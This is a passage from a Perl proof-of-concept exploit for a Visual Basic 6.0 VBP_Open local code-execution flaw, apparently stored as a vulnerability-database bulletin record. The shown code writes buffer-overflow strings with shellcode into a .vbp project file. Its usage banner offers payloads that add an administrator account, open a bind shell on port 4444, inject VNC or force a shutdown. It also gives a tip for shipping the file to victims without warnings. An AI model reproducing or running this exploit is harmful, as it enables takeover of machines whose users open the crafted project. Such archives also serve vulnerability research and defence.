uffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc3$endQuote$koshi";\r\nexit;\r\n}\r\n\r\n\r\nif\u00a0($i==4){\r\nprint\u00a0"$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc4$endQuote$koshi";\r\nexit;\r\n}\r\n\r\n\r\nif\u00a0($i==5){\r\nprint\u00a0"$begin0$begin1$BuffOf$codeAddr$jmpEbp$fourSkin$begin2$begin3$shellc5$endQuote$koshi";\r\nexit;\r\n}\r\n\r\n\r\nprint\u00a0"\\n";\r\nprint\u00a0"\u00a0++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0Microsoft\u00a0Visual\u00a0Basic\u00a06.0\u00a0VBP_Open\u00a0OLE\u00a0Local\u00a0CodeExec\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0Written\u00a0By\u00a0Koshi\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0Greets:\u00a0Rima\u00a0my\u00a0baby!\u00a0Draven,\u00a0thanks\u00a0for\u00a0helping.\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0Usage\u00a0Ex.:\u00a0./vb6.pl\u00a01\u00a0>>Project1.vbp\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0Options:\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a01\u00a0-\u00a0win32_exec\u00a0CALC.EXE\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a02\u00a0-\u00a0win32_adduser\u00a0Pass=4dmin\u00a0User=koshi\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a03\u00a0-\u00a0win32_bind\u00a0Port\u00a04444\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a04\u00a0-\u00a0win32_bind_vncinject\u00a0Port\u00a05900\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a05\u00a0-\u00a0win32_exec\u00a0shutdown\u00a0-c\u00a0\\x22HAI\u00a0VEn0m\u00a0pw..\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0Notes:\u00a0Ship\u00a0final\u00a0.VBP\u00a0file\u00a0with\u00a0a\u00a0.FRM\u00a0file\u00a0to\u00a0avoid\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0warnings\u00a0in\u00a0Visual\u00a0Basic\u00a06.0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0+++\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0+++\\n";\r\nprint\u00a0"\u00a0++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\\n";\r\n\r\n\r\n\r\n\r\n\r\n\r\nexit;\r\n\r\n\r\n#EOF\r\n\n ", "status": "poc", "_object_type": "robots.models.seebug.SeebugBulletin", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"]}
{"result": {}}